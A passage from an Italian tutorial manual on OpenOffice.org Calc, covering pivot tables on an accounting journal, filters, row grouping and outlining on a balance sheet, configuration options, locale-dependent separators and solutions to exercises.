7	13 ott	banca x c/c	pagati oneri di costituzione		2 000,00	- 2 000,00	attività
8	20 ott	mobili e arredi	fattura di acquisto arredi	25 000,00		25 000,00	attività
9	20 ott	IVA n/credito	fattura di acquisto arredi	5 000,00		5 000,00	attività
10	20 ott	debiti v/fornitori	fattura di acquisto arredi		30 000,00	- 30 000,00	passività
11	25 ott	debiti v/fornitori	pagamento fattura arredi	30 000,00		30 000,00	passività
12	25 ott	banca x c/c	pagamento fattura arredi		30 000,00	- 30 000,00	attività
13	05 nov	merci c/acquisti	fattura di acquisto merci	20 000,00		20 000,00	costi
14	05 nov	IVA n/credito	fattura di acquisto merci	4 000,00		4 000,00	attività
15	05 nov	debiti v/fornitori	fattura di acquisto merci		24 000,00	- 24 000,00	passività
16	07 nov	crediti v/clienti	fattura di vendita merci	12 000,00		12 000,00	attività
17	07 nov	merci c/vendite	fattura di vendita merci		10 000,00	- 10 000,00	ricavi
18	07 nov	IVA n/debito	fattura di vendita merci		2 000,00	- 2 000,00	passività

Si seleziona la tabella e si richiede di produrre una trasformazione («pivot», ovvero «data pilot»), compilando la maschera relativa nel modo seguente, dove in particolare sono stati omessi i totali per colonna:

Layout
Campi della pagina
Campi colonne
classificazione
conto
Somma - dare
Somma - avere
Somma - eccedenza
Riga Campi
Campi dati
data
conto
descrizione
dare
avere
eccedenza
classificazione
OK
Annulla
?
Deinstallazione
Opzioni...
Trascinate i campi da destra nell'area desiderata usando il mouse.
Extra
Risultato
selezione da $prima_nota.$A$1:$G$18
Risultato da - non definito - $pivot.$A$1
☐ Ignora le righe vuote
☐ Individua categorie
☐ Totale colonne
☐ Risultato complessivo righe
☑ Aggiungi filtro
☑ Abilita analisi dettagliata

Si ottiene una tabella riepilogativa dei conti utilizzati, suddivisi per la loro classificazione, con le eccedenze accumulate:

	A	B	C	D
1	Filtro			
2				
3	classificazione	conto	Dati	
4	attività	banca x c/c	Somma - dare	200 000,00
5			Somma - avere	34 000,00
6			Somma - eccedenza	166 000,00
7		costi di impianto	Somma - dare	2 000,00
8			Somma - avere	
9			Somma - eccedenza	2 000,00
10		crediti v/clienti	Somma - dare	12 000,00
11			Somma - avere	
12			Somma - eccedenza	12 000,00
13		denaro in cassa	Somma - dare	2 000,00
14			Somma - avere	
15			Somma - eccedenza	2 000,00
16		IVA n/credito	Somma - dare	9 000,00
17			Somma - avere	
18			Somma - eccedenza	9 000,00
19		mobili e arredi	Somma - dare	25 000,00
20			Somma - avere	
21			Somma - eccedenza	25 000,00
22	costi	merci c/acquisti	Somma - dare	20 000,00
23			Somma - avere	
24			Somma - eccedenza	20 000,00
25	passività	debiti v/fornitori	Somma - dare	30 000,00
26			Somma - avere	54 000,00
27			Somma - eccedenza	- 24 000,00
28		IVA n/debito	Somma - dare	
29			Somma - avere	2 000,00
30			Somma - eccedenza	- 2 000,00
31		patrimonio netto	Somma - dare	
32			Somma - avere	200 000,00
33			Somma - eccedenza	- 200 000,00
34	ricavi	merci c/vendite	Somma - dare	
35			Somma - avere	10 000,00
36			Somma - eccedenza	- 10 000,00

122.24.3 Filtro

Quando si produce una tabella attraverso la funzione «pivot», ovvero «data pilot», a meno di avere disabilitato la funzione dalla maschera di configurazione, si ottiene un bottone sulla tabella di destinazione, con il nome FILTRO. Con un clic su questo bottone, si passa alla selezione di un filtro, per limitare i dati rappresentati nella tabella generata. Riprendendo la tabella ottenuta dall'esercizio descritto nella sezione precedente, si potrebbe compilare il filtro nel modo successivo, allo scopo di visualizzare lo stato dei conti nel solo periodo di novembre:

Criteri filtro

Operatore	Nome di campo	Condizione	Valore
	data	>=	01/11/2009
E	data	<=	30/11/2009
	- nessuno -	=	

OK

Annulla

?

Extra

Opzioni

☐ Maiuscole/minuscole

☐ Espressione regolare

☐ Univoco

Area dati: (Senza nome)

Segue il risultato filtrato. Naturalmente, in questo caso, le eccedenze rappresentano in realtà la variazione dei conti nel periodo considerato.

	A	B	C	D
1	Filtro			
2				
3	classificazione	conto	Dati	
4	attività	crediti v/clienti	Somma - dare	12 000,00
5			Somma - avere	
6			Somma - eccedenza	12 000,00
7		IVA n/credito	Somma - dare	4 000,00
8			Somma - avere	
9			Somma - eccedenza	4 000,00
10	costi	merci c/acquisti	Somma - dare	20 000,00
11			Somma - avere	
12			Somma - eccedenza	20 000,00
13	passività	debiti v/fornitori	Somma - dare	
14			Somma - avere	24 000,00
15			Somma - eccedenza	- 24 000,00
16		IVA n/debito	Somma - dare	
17			Somma - avere	2 000,00
18			Somma - eccedenza	- 2 000,00
19	ricavi	merci c/vendite	Somma - dare	
20			Somma - avere	10 000,00
21			Somma - eccedenza	- 10 000,00

122.25 Struttura

Quando si scrivono elenchi di voci, a cui si associano dei valori, ai quali poi si abbinano dei totali, può essere utile un modo per ridurre (sintetizzare) e ampliare al volo questi elenchi. Si prenda per esempio lo schema successivo, in cui si hanno totali parziali e un totale complessivo. Lo schema appare sia nella sua forma «normale», sia con le formule dei totali in evidenza:

	A	B	C
1	aaa	213	
2	bbb	324	
3	ccc	453	
4	aaa, bbb, ccc	**990**	**990**
5	ddd	233	
6	eee	43453	
7	fff	564	
8	ddd, eee, fff	**44250**	**44250**
9	ggg	213	
10	hhh	324	
11	iii	453	
12	ggg, hhh, iii	**990**	**990**
13	jjj	233	
14	kkk	43453	
15	lll	564	
16	jjj, kkk, lll	**44250**	**44250**
17	aaa,... lll		**90480**

	A	B	C
1	aaa	213	
2	bbb	324	
3	ccc	453	
4	aaa, bbb, ccc	**=SOMMA(B1:B3)**	**=B4**
5	ddd	233	
6	eee	43453	
7	fff	564	
8	ddd, eee, fff	**=SOMMA(B5:B7)**	**=B8**
9	ggg	213	
10	hhh	324	
11	iii	453	
12	ggg, hhh, iii	**=SOMMA(B9:B11)**	**=B12**
13	jjj	233	
14	kkk	43453	
15	lll	564	
16	jjj, kkk, lll	**=SOMMA(B13:B15)**	**=B16**
17	aaa,... lll		**=SOMMA(C1:C16)**

Anche senza selezionare alcunché, con la funzione del menù `Dati`, `Raggruppa e struttura`, `Struttura automatica`, si ottengono dei controlli, ai bordi della scheda (il foglio), per ridurre o espandere l'elenco:

	A	B	C	D	E
1	aaa	213			
2	bbb	324			
3	ccc	453			
4	aaa, bbb, ccc	**990**	**990**		
5	ddd	233			
6	eee	43453			
7	fff	564			
8	ddd, eee, fff	**44250**	**44250**		
9	ggg	213			
10	hhh	324			
11	iii	453			
12	ggg, hhh, iii	**990**	**990**		
13	jjj	233			
14	kkk	43453			
15	lll	564			
16	jjj, kkk, lll	**44250**	**44250**		
17	aaa,... lll		**90480**		
18					

Intervenendo sui controlli laterali, si può ridurre progressivamente lo schema, come si vede nelle figure successive. Per questo si possono usare i bottoni grafici [+], [-], [1], [2], [3],... In pratica, i bottoni grafici numerati indicano il livello di dettaglio ([1] dà il dettaglio minimo), mentre i bottoni con i simboli [+] e [-], espandono o contraggono una porzione dell'elenco, verticalmente oppure orizzontalmente.

	A	B	C
4	aaa, bbb, ccc	990	990
8	ddd, eee, fff	44250	44250
12	ggg, hhh, iii	990	990
16	jjj, kkk, lll	44250	44250
17	aaa,... lll		90480

	A	C
4	aaa, bbb, ccc	990
8	ddd, eee, fff	44250
12	ggg, hhh, iii	990
16	jjj, kkk, lll	44250
17	aaa,... lll	90480

	A	C
17	aaa,... lll	90480

122.25.1 Raggruppamento automatico

Quanto descritto all'inizio del capitolo, corrisponde al «raggruppamento automatico», ovvero un raggruppamento desunto implicitamente dalla struttura dei dati, ma soprattutto dall'uso della funzione ***SOMMA()***. Organizzando la stessa tabella in forma leggermente differente, si rischia di non produrre l'effetto desiderato, oppure di ottenere solo una struttura parziale rispetto alle intenzioni.

Perché la struttura automatica funzioni correttamente, è necessario che ci sia una colonna di valori per ogni livelli, ma soprattutto, i totali non possono sovrapporsi. Viene proposto un altro esempio, basato sulla struttura di un bilancio, anche se solo con voci sintetiche, allo scopo di poter osservare i limiti della determinazione della struttura automatica.

	A	B	C	D
1	A		**CREDITI VERSO I SOCI PER VERSAMENTI ANCORA DOVUTI**	**0**
2	B		**IMMOBILIZZAZIONI:**	**254 360**
3	B	I	Immobilizzazioni immateriali	0
4	B	II	Immobilizzazioni materiali	254 360
5	B	III	Immobilizzazioni finanziarie	0
6	C		**ATTIVO CIRCOLANTE:**	**164 159**
7	C	I	Rimanenze	75 000
8	C	II	Crediti	88 218
9	C	III	Attività finanziarie che non costituiscono immobilizzazioni	0
10	C	IV	Disponibilità liquide	941
11	D		**RATEI E RISCONTI ATTIVI**	**460**
12			**TOTALE ATTIVO (A+B+C+D)**	**418 979**
13	A		**PATRIMONIO NETTO:**	**306 157**
14	A	I	Capitale	282 700
15	A	II	Riserva da sovrapprezzo delle azioni	0
16	A	III	Riserva di rivalutazione	0
17	A	IV	Riserva legale	0
18	A	V	Riserva per azioni proprie in portafoglio	0
19	A	VI	Riserve statutarie	0
20	A	VII	Altre riserve	0
21	A	VIII	Utili (perdite) portati a nuovo (da esercizio precedente)	0
22	A	IX	Utile (perdita) dell'esercizio (deriva dal conto economico)	23 457
23	B		**FONDI PER RISCHI E ONERI**	**0**
24	C		**TRATTAMENTO DI FINE RAPPORTO DI LAVORO SUBORDINATO**	**20 078**
25	D		**DEBITI**	**92 233**
26	E		**RATEI E RISCONTI PASSIVI**	**511**
27			**TOTALE PASSIVO (A+B+C+D+E)**	**418 979**
28	A		**VALORE DELLA PRODUZIONE**	**895 452**
29	B		**COSTI DELLA PRODUZIONE**	**864 358**
30			**DIFFERENZA TRA VALORE E COSTI DELLA PRODUZIONE (A-B)**	**31 094**
31	C		**PROVENTI E ONERI FINANZIARI**	**51**
32	D		**RETTIFICHE DI VALORE DI ATTIVITÀ FINANZIARIE**	**0**
33	E		**PROVENTI E ONERI STRAORDINARI**	**- 5 510**
34			**RISULTATO PRIMA DELLE IMPOSTE (A-B±C±D±E)**	**25 635**
35			Imposte sul reddito d'esercizio	2178
36			Utile o perdita d'esercizio	**23457**

	A	B	C	D
1	A		**CREDITI VERSO I SOCI PER VERSAMENTI ANCORA DOVUTI**	**0**
2	B		**IMMOBILIZZAZIONI:**	**=SOMMA(D3:D5)**
3	B	I	Immobilizzazioni immateriali	0
4	B	II	Immobilizzazioni materiali	254 360
5	B	III	Immobilizzazioni finanziarie	0
6	C		**ATTIVO CIRCOLANTE:**	**=SOMMA(D7:D10)**
7	C	I	Rimanenze	75 000
8	C	II	Crediti	88 218
9	C	III	Attività finanziarie che non costituiscono immobilizzazioni	0
10	C	IV	Disponibilità liquide	941
11	D		**RATEI E RISCONTI ATTIVI**	**460**
12			**TOTALE ATTIVO (A+B+C+D)**	**=SOMMA(D1;D2;D6;D11)**
13	A		**PATRIMONIO NETTO:**	**=SOMMA(D14:D22)**
14	A	I	Capitale	282 700
15	A	II	Riserva da sovrapprezzo delle azioni	0
16	A	III	Riserva di rivalutazione	0
17	A	IV	Riserva legale	0
18	A	V	Riserva per azioni proprie in portafoglio	0
19	A	VI	Riserve statutarie	0
20	A	VII	Altre riserve	0
21	A	VIII	Utili (perdite) portati a nuovo (da esercizio precedente)	0
22	A	IX	Utile (perdita) dell'esercizio (deriva dal conto economico)	23 457
23	B		**FONDI PER RISCHI E ONERI**	**0**
24	C		**TRATTAMENTO DI FINE RAPPORTO DI LAVORO SUBORDINATO**	**20 078**
25	D		**DEBITI**	**92 233**
26	E		**RATEI E RISCONTI PASSIVI**	**511**
27			**TOTALE PASSIVO (A+B+C+D+E)**	**=SOMMA(D13;D23;D24;D25;D26)**
28	A		**VALORE DELLA PRODUZIONE**	**895 452**
29	B		**COSTI DELLA PRODUZIONE**	**864 358**
30			**DIFFERENZA TRA VALORE E COSTI DELLA PRODUZIONE (A-B)**	**=D28-D29**
31	C		**PROVENTI E ONERI FINANZIARI**	**51**
32	D		**RETTIFICHE DI VALORE DI ATTIVITÀ FINANZIARIE**	**0**
33	E		**PROVENTI E ONERI STRAORDINARI**	**- 5 510**
34			**RISULTATO PRIMA DELLE IMPOSTE (A-B±C±D±E)**	**=SOMMA(D30;D31;D32;D33)**
35			Imposte sul reddito d'esercizio	2178
36			Utile o perdita d'esercizio	**=D34-D35**

Se si chiede di raggruppare e strutturare in modo automatico, si ottengono i controlli seguenti:

	A	B	C	D	E	F	G	H
1	A		CREDITI VERSO I SOCI PER VERSAMENTI ANCORA DOVUTI	0				
2	B		IMMOBILIZZAZIONI:	254 360				
3	B	I	Immobilizzazioni immateriali	0				
4	B	II	Immobilizzazioni materiali	254 360				
5	B	III	Immobilizzazioni finanziarie	0				
6	C		ATTIVO CIRCOLANTE:	164 159				
7	C	I	Rimanenze	75 000				
8	C	II	Crediti	88 218				
9	C	III	Attività finanziarie che non costituiscono immobilizzazioni	0				
10	C	IV	Disponibilità liquide	941				
11	D		RATEI E RISCONTI ATTIVI	460				
12			TOTALE ATTIVO (A+B+C+D)	418 979				
13	A		PATRIMONIO NETTO:	306 157				
14	A	I	Capitale	282 700				
15	A	II	Riserva da sovrapprezzo delle azioni	0				
16	A	III	Riserva di rivalutazione	0				
17	A	IV	Riserva legale	0				
18	A	V	Riserva per azioni proprie in portafoglio	0				
19	A	VI	Riserve statutarie	0				
20	A	VII	Altre riserve	0				
21	A	VIII	Utili (perdite) portati a nuovo (da esercizio precedente)	0				
22	A	IX	Utile (perdita) dell'esercizio (deriva dal conto economico)	23 457				
23	B		FONDI PER RISCHI E ONERI	0				
24	C		TRATTAMENTO DI FINE RAPPORTO DI LAVORO SUBORDINATO	20 078				
25	D		DEBITI	92 233				
26	E		RATEI E RISCONTI PASSIVI	511				
27			TOTALE PASSIVO (A+B+C+D+E)	418 979				
28	A		VALORE DELLA PRODUZIONE	895 452				
29	B		COSTI DELLA PRODUZIONE	864 358				
30			DIFFERENZA TRA VALORE E COSTI DELLA PRODUZIONE (A-B)	31 094				
31	C		PROVENTI E ONERI FINANZIARI	51				
32	D		RETTIFICHE DI VALORE DI ATTIVITÀ FINANZIARIE	0				
33	E		PROVENTI E ONERI STRAORDINARI	- 5 510				
34			RISULTATO PRIMA DELLE IMPOSTE (A-B±C±D±E)	25 635				
35			Imposte sul reddito d'esercizio	2178				
36			Utile o perdita d'esercizio	23457				

122.25.2 Raggruppamento manuale

Dal momento che il raggruppamento automatico non dà sempre i risultati attesi, si può procedere con l'individuazione manuale delle righe o delle colonne da raccogliere assieme. Per esempio, riprendendo il caso del bilancio apparso nella sezione precedente, volendo mettere assieme tutte le voci dell'attivo, si devono selezionare le righe da 1 a 11, per poi richiamare la voce `Dati`, `Raggruppa e struttura`, `Gruppo`, oppure il solo tasto [*F12*]:

File Modifica Visualizza Inserisci Formato Strumenti Dati Finestra ?

A1:AMJ11 D

Definisci area...
Seleziona area...
Ordina...
Filtro
DataForm...
Subtotali...
Validità...
Operazioni multiple...
Testo a colonne...
Consolida...
Raggruppa e struttura
DataPilot
Aggiorna area

Nascondi dettaglio
Mostra dettaglio
Gruppo... F12
Separa... Ctrl+F12
Struttura automatica
Rimuovi

	A	B	C
1	A		CREDITI VERSO I SOCI PER VERSAMENTI ANCORA DOVU
2	B		IMMOBILIZZAZIONI:
3	B	I	Immobilizzazioni immateriali
4	B	II	Immobilizzazioni materiali
5	B	III	Immobilizzazioni finanziarie
6	C		ATTIVO CIRCOLANTE:
7	C	I	Rimanenze
8	C	II	Crediti
9	C	III	Attività finanziarie che non costituiscono immobilizzazioni
10	C	IV	Disponibilità liquide
11	D		RATEI E RISCONTI ATTIVI
12			TOTALE ATTIVO (A+B+C+D)
13	A		PATRIMONIO NETTO:
14	A	I	Capitale
15	A	II	Riserva da sovrapprezzo delle azioni

Naturalmente si può continuare per i livelli inferiori. In questo caso si selezionano le righe da 3 a 5, per raccogliere le voci che fanno capo alle immobilizzazioni:

Ecco il risultato:

122.25.3 Eliminazione di un raggruppamento

Attraverso la voce `Dati`, `Raggruppa e struttura`, `Rimuovi`, si ottiene l'eliminazione dei raggruppamenti della scheda attiva (il foglio su cui si sta operando), indipendentemente dal modo in cui questi possono essere stati creati (in modo automatico o manuale).

Per togliere singolarmente un raggruppamento indesiderato, occorre selezionare le righe, o le colonne (in base al tipo di raggruppamento), riconducibili univocamente al raggruppamento da eliminare, quindi si procede con `Dati`, `Raggruppa e struttura`, `Separa`, oppure con la combinazione [*Ctrl F12*].

Tasto o combinazione di tasti	Effetto
F12	Definisce un raggruppamento di righe o di colonne.
Ctrl + F12	Elimina un raggruppamento.

122.26 Configurazione di OpenOffice.org Calc

La configurazione di OpenOffice.org è accessibile da tutti i suoi componenti, alla voce del menù `Strumenti`, `Opzioni`. Dalla finestra che si ottiene è possibile intervenire su tutti gli aspetti del funzionamento di OpenOffice.org; qui ci si intende soffermare particolarmente su ciò che riguarda OpenOffice.org Calc.

122.26.1 Maschere di configurazione di OpenOffice.org Calc

Le figure successive mostrano le varie maschere di configurazione di OpenOffice.org Calc, al loro stato predefinito. In qualche caso si fanno delle annotazioni.

Figura 122.302. `Strumenti`, `Opzioni`, `OpenOffice.org Calc`, `Generale`.

Figura 122.303. `Strumenti`, `Opzioni`, `OpenOffice.org Calc`, `Vista`.

Nella configurazione della «vista», come si vede nella figura precedente, va osservato il fatto che, opportunamente, le formule non vengono mostrate. A differenza di altri programmi di gestione di un foglio elettronico, OpenOffice.org non ha una voce del menù per visualizzare le

formule (a parte la possibilità di intervenire nella configurazione), inoltre tiene disgiunta la visualizzazione a schermo rispetto a quella destinata alla stampa. Pertanto, con OpenOffice.org, generalmente non si visualizzano le formule sullo schermo, ma ciò lo si fa nella configurazione della pagina (`Formato`, `Pagina`, `Foglio`).

Figura 122.304. `Strumenti`, `Opzioni`, `OpenOffice.org Calc`, `Calcola`.

Nella configurazione relativa ai calcoli, come si vede nella figura precedente, si può controllare il riferimento temporale per la gestione delle date, ma soprattutto, è possibile richiedere una sintassi alternativa per l'indicazione delle coordinate delle celle (la voce `Sintassi formato`). È il caso di ricordare che nei riferimenti a schede differenti, si pone il nome della scheda, separato dal resto delle coordinate con un solo punto fermo; per esempio '**`mia_scheda.A1:C10`**'. Con MS-Excel si usa invece il punto esclamativo, come per esempio '**`mia_scheda!A1:C10`**'. Per ottenere una gestione delle coordinate come quella di MS-Excel, si può intervenire in questa maschera di configurazione.

Figura 122.305. `Strumenti`, `Opzioni`, `OpenOffice.org Calc`, `Stampa`.

122.26.2 Osservazioni sulla configurazione linguistica

Di solito, i programmi che servono a gestire un foglio elettronico, hanno in comune una forma di rappresentazione dei valori numerici che tiene conto delle convenzioni linguistiche. In generale, si distingue tra numeri in cui la porzione decimale viene segnalata da una virgola, oppure con un punto. Questa differenza che contrappone sommariamente i paesi europei rispetto a quelli che sono stati sotto l'influenza inglese, ha delle implicazioni anche in altri dati da inserire. In particolare, se si usa la virgola decimale, il carattere che separa gli argomenti di una funzione è il punto e virgola, mentre se si usa il punto decimale, il carattere di separazione degli argomenti è la virgola.

`CERCA.ORIZZ(`***valore_cercato*** `;` ***zona_di_ricerca*** `;` ***indice_della_zona*** `;0|1)`

`VLOOKUP(`***valore_cercato*** `,` ***zona_di_ricerca*** `,` ***indice_della_zona*** `,0|1)`

Quando si cambia la configurazione linguistica di OpenOffice.org, per lavorare con il componente di gestione del foglio elettronico, occorre prestare attenzione a questo particolare.

Figura 122.306. `Strumenti`, `Opzioni`, `impostazioni lingua`, `lingue`.

122.27 Soluzioni agli esercizi proposti

Esercizio	Soluzione
122.1.1.1	La cella C2 della scheda «Agenti».
122.1.1.2	Si tratta della zona di celle da C3 a D6 (ovvero da D6 a C3, ovvero da D3 a C6, ovvero da C6 a D3) della scheda «Agenti».
122.1.1.3	Si tratta della zona di celle da B2 a D6 (ovvero da D6 a B2, ovvero da D2 a B6, ovvero da B6 a B2) della scheda «Agenti».

Esercizio	Soluzione
122.1.3.1	Si tratta della zona di celle C3:D6 (ovvero D6:C3, ovvero D3:C6, ovvero C6:D3) della scheda «Agenti».
122.1.3.2	Si tratta della zona di celle B2:D6 (ovvero D6:B2, ovvero D2:B6, ovvero B6:B2) della scheda «Agenti».
122.1.3.3	Con OpenOffice.org Calc, si tratta della zona di celle Agenti.C3:D6 (ovvero Agenti.D6:C3, ovvero Agenti.D3:C6, ovvero Agenti.C6:D3); con MS-Excel, invece, si tratta della zona di celle Agenti!C3:D6 (ovvero Agenti!D6:C3, ovvero Agenti!D3:C6, ovvero Agenti!C6:D3).
122.1.3.4	Con Openoffice.org Calc, si tratta della zona di celle Agenti.B2:D6 (ovvero Agenti.D6:B2, ovvero Agenti.D2:B6, ovvero Agenti.B6:B2); con MS-Excel, invece, si tratta della zona di celle Agenti!B2:D6 (ovvero Agenti!D6:B2, ovvero Agenti!D2:B6, ovvero Agenti!B6:B2).
122.1.6.1	23,5 % corrisponde a 0,235.
122.1.6.2	In configurazione italiana, l'inserimento di '`11.10`' porta a far recepire l'orario 11:10.
122.1.6.3	L'orario 12:00 corrisponde comunemente al valore 0,5, in quanto si tratta di metà di un giorno intero.
122.1.6.4	Il numero 123456,25, sapendo che la parte intera corrisponde al giorno 3 gennaio 2238, rappresenta il 3 gennaio 2238 alle ore 06:00.
122.1.9.1	L'inserimento dell'espressione '`="ciao`' è incompleto, perché mancano gli apici di chiusura della stringa. Avrebbe dovuto essere inserito '`="ciao"`'.
122.1.9.2	L'espressione '`=A1&B1`' produce, in questo caso, la visualizzazione della stringa '`ciaoamore`' (tutta attaccata). Per ottenere invece «ciao amore!», occorrerebbe l'espressione '`=A1&" "&B1&"!"`'.
122.1.9.3	'`=A1+123,4`'
122.1.9.4	'`=(A1+A2)/123,4`'
122.1.9.5	La cella B3 è quella in cui si vuole mostrare il risultato di un'espressione, ma tale espressione non può, a sua volta, tentare di utilizzare il valore prodotto da se stessa. In altri termini, nella cella B3 non si può scrivere un'espressione che contenga la stessa cella B3.
122.2.3.1	Con il primo tasto del mouse, si fa clic sulla voce *Formato*, ottenendo l'apertura della tendina relativa, quindi si fa clic sulla voce *Aree di stampa*, ottenendo l'apertura di un sottomenù; infine si fa clic sulla voce *Definisci* del sottomenù.

Esercizio	Soluzione
122.2.3.2	Si preme [*Alt*] per attivare il menù; si sposta il cursore del menù verso destra, con il tasto [*freccia-destra*], fino a raggiungere la voce `Formato`. Da lì, con il tasto [*Invio*], oppure con il tasto [*freccia-giù*], si apre la tendina e si può scorrere in basso il cursore del menù, con il tasto [*freccia-giù*], fino a raggiungere la voce `Aree di stampa`. Da quel punto, con il tasto [*Invio*], oppure con il tasto [*freccia-destra*], si apre la tendina del sotto-menù e si può premere [*Invio*] per selezionare la voce `Definisci`, essendo questa la prima.
122.2.5.1	Con il mouse, si spostano le barre di scorrimento verticale e orizzontale in modo da raggiungere le celle iniziali del foglio (quelle più in alto e più a sinistra), quindi si fa un clic con il primo tasto sulla cella A1.
122.2.5.2	Con la tastiera, premendo la combinazione [*Ctrl Home*].
122.2.5.3	Con la tastiera, premendo la combinazione [*Ctrl freccia-sinistra*].
122.2.5.4	Con la tastiera, premendo la combinazione [*Ctrl freccia-su*].
122.2.5.5	Con il mouse, si fa un clic con il primo tasto sul lembo con il nome della scheda «Foglio3» e si seleziona la scheda corrispondente.
122.2.5.6	Con la tastiera, premendo la combinazione [*Ctrl pagina-su*] o [*Ctrl pagina-giù*], fino a selezionare la scheda voluta.
122.2.8.1	Con il mouse, si fa clic sulla cella A7 e, mantenendo premuto il primo tasto, si trascina fino alla cella C9, dove si rilascia il tasto.
122.2.8.2	Con la tastiera, si porta prima il cursore dell'area di lavoro sulla cella A7, quindi si preme e si mantiene premuto il tasto [*Maiuscole*], spostando il cursore verso la cella C9. A quel punto si lascia il tasto [*Maiuscole*].
122.2.8.3	La zona A7:C9 si seleziona come già visto per la domanda 122.2.8.1, quindi si preme e si mantiene premuto il tasto [*Ctrl*], procedendo alla selezione della zona D3:F7, secondo la stessa modalità. Al termine si rilascia il tasto [*Ctrl*].
122.2.8.4	Con il mouse, si fa clic sull'intestazione della colonna B, quindi si preme e si mantiene premuto il tasto [*Ctrl*], mentre si fa clic sulle intestazioni delle altre colonne da selezionare. Al termine si rilascia il tasto [*Ctrl*].
122.2.8.5	Con il mouse, si fa clic sul rettangolo che congiunge le intestazioni di riga e di colonna; tale rettangolo è opposto alla cella A1.
122.2.10.1	Con il mouse, si porta il puntatore del mouse tra le righe 5 e 6, sull'intestazione che appare alla sinistra. Quando il puntatore cambia aspetto e mostra due frecce opposte, in verticale, si preme e si mantiene premuto il primo tasto, trascinando nella direzione desiderata: quando si raggiunge l'altezza voluta si lascia il tasto.
122.2.10.2	Con il mouse, si seleziona la riga 5, quindi, premendo il tasto [*Ctrl*], si seleziona anche la riga 7 e poi si rilascia il tasto [*Ctrl*]. Quindi si passa a regolare l'altezza della riga 5 o della riga 7, indifferentemente.

<table>
<tr><th>Esercizio</th><th>Soluzione</th></tr>
<tr><td>122.2.10.3</td><td>Con la tastiera, si posiziona il cursore sulla cella C7, quindi, premendo il tasto [Alt], si usano i tasti freccia per regolare l'altezza e la larghezza della cella.</td></tr>
<tr><td>122.3.2.1</td><td>Se non si riesce a togliere il bordo dalle celle che si trovano alla sua sinistra, vuole dire che questo è definito anche o soltanto nelle celle di destra, ovvero quelle della colonna D.</td></tr>
<tr><td>122.3.2.2</td><td>Tra la cella A1 e B1 si vede un bordo di colore rosso, con uno spessore di due punti, perché dei due possibili è il più spesso.</td></tr>
<tr><td>122.3.4.1</td><td></td></tr>
<tr><td>122.3.4.2</td><td></td></tr>
<tr><td>122.5.7.1</td><td>'<code>### ### ### ##0,00</code>'</td></tr>
<tr><td>122.5.7.2</td><td>'<code>HH:MM:SS</code>'</td></tr>
<tr><td>122.5.7.3</td><td>'<code>NN GG MMM AAAA HH:MM</code>'</td></tr>
<tr><td>122.5.7.4</td><td>'<code>@</code>'</td></tr>
<tr><td>122.6.7</td><td>
<table>
<tr><th></th><th>A</th><th>B</th><th>C</th><th>D</th><th>E</th></tr>
<tr><td>1</td><td colspan="5">piano di ammortamento</td></tr>
<tr><td>2</td><td colspan="5"></td></tr>
<tr><td>3</td><td>anno</td><td>costo storico</td><td>percentuale di ammortamento</td><td>quota di ammortamento</td><td>fondo ammortamento</td></tr>
<tr><td>4</td><td colspan="5"></td></tr>
<tr><td>5</td><td>1</td><td>€ 20.000,00</td><td>20%</td><td>=B5*C5</td><td>=D5</td></tr>
<tr><td>6</td><td>2</td><td>€ 20.000,00</td><td>20%</td><td>=B6*C6</td><td>=D6+E5</td></tr>
<tr><td>7</td><td>3</td><td>€ 20.000,00</td><td>20%</td><td>=B7*C7</td><td>=D7+E6</td></tr>
<tr><td>8</td><td>4</td><td>€ 20.000,00</td><td>20%</td><td>=B8*C8</td><td>=D8+E7</td></tr>
<tr><td>9</td><td>5</td><td>€ 20.000,00</td><td>20%</td><td>=B9*C9</td><td>=D9+E8</td></tr>
</table>
</td></tr>
<tr><td>122.6.9</td><td>
<table>
<tr><th></th><th>A</th><th>B</th><th>C</th><th>D</th><th>E</th></tr>
<tr><td>1</td><td colspan="5">Qualità media della merce</td></tr>
<tr><td>2</td><td>quantità consegnata</td><td>prezzo unitario</td><td>importo fattura</td><td>quantità scartata</td><td>valore scartato</td></tr>
<tr><td>3</td><td>1000</td><td>€ 1,50</td><td>=A3*B3</td><td>200</td><td>=B3*D3</td></tr>
<tr><td>4</td><td>2000</td><td>€ 1,20</td><td>=A4*B4</td><td>100</td><td>=B4*D4</td></tr>
<tr><td>5</td><td>1500</td><td>€ 1,30</td><td>=A5*B5</td><td>150</td><td>=B5*D5</td></tr>
<tr><td>6</td><td>3000</td><td>€ 1,00</td><td>=A6*B6</td><td>300</td><td>=B6*D6</td></tr>
<tr><td>7</td><td>2500</td><td>€ 1,20</td><td>=A7*B7</td><td>100</td><td>=B7*D7</td></tr>
<tr><td>8</td><td>=SOMMA(A3:A7)</td><td></td><td>=SOMMA(C3:C7)</td><td>=SOMMA(D3:D7)</td><td>=SOMMA(E3:E7)</td></tr>
<tr><td>9</td><td colspan="4">media della merce scartata:</td><td>=E8/C8</td></tr>
<tr><td>10</td><td colspan="4">qualità media della merce:</td><td>=1-E9</td></tr>
</table>
</td></tr>
</table>

Esercizio	Soluzione

122.6.10

	A	B	C	D	E	F
1	Consistenza media					
2	data	quantità caricata	quantità scaricata	esistenza	giorni di permanenza	esistenza per permanenza
3	1 giugno			10000	=A4-A3	=D3*E3
4	10 giugno	111		=D3+B4-C4	=A5-A4	=D4*E4
5	15 luglio		1223	=D4+B5-C5	=A6-A5	=D5*E5
6	17 luglio		5000	=D5+B6-C6	=A7-A6	=D6*E6
7	5 agosto	1111		=D6+B7-C7	=A8-A7	=D7*E7
8	29 agosto		3000	=D7+B8-C8	=A9-A8	=D8*E8
9	15 settembre	1000		=D8+B9-C9	=A10-A9	=D9*E9
10	1 ottobre		2500	=D9+B10-C10	=A11-A10	=D10*E10
11	11 novembre	111		=D10+B11-C11	=A12-A11	=D11*E11
12	1 gennaio				=SOMMA(E3:E11)	=SOMMA(F3:F11)
13				consistenza media:	=F12/E12	

122.6.11

	A	B	C	D	E	F
1	Consistenza media, indice di rotazione, giacenza media					
2	data	quantità caricata	quantità scaricata	esistenza	giorni di permanenza	esistenza per permanenza
3	1 giugno			10000	=A4-A3	=D3*E3
4	10 giugno	111		=D3+B4-C4	=A5-A4	=D4*E4
5	15 luglio		1223	=D4+B5-C5	=A6-A5	=D5*E5
6	17 luglio		5000	=D5+B6-C6	=A7-A6	=D6*E6
7	5 agosto	1111		=D6+B7-C7	=A8-A7	=D7*E7
8	29 agosto		3000	=D7+B8-C8	=A9-A8	=D8*E8
9	15 settembre	1000		=D8+B9-C9	=A10-A9	=D9*E9
10	1 ottobre		2500	=D9+B10-C10	=A11-A10	=D10*E10
11	11 novembre	111		=D10+B11-C11	=A12-A11	=D11*E11
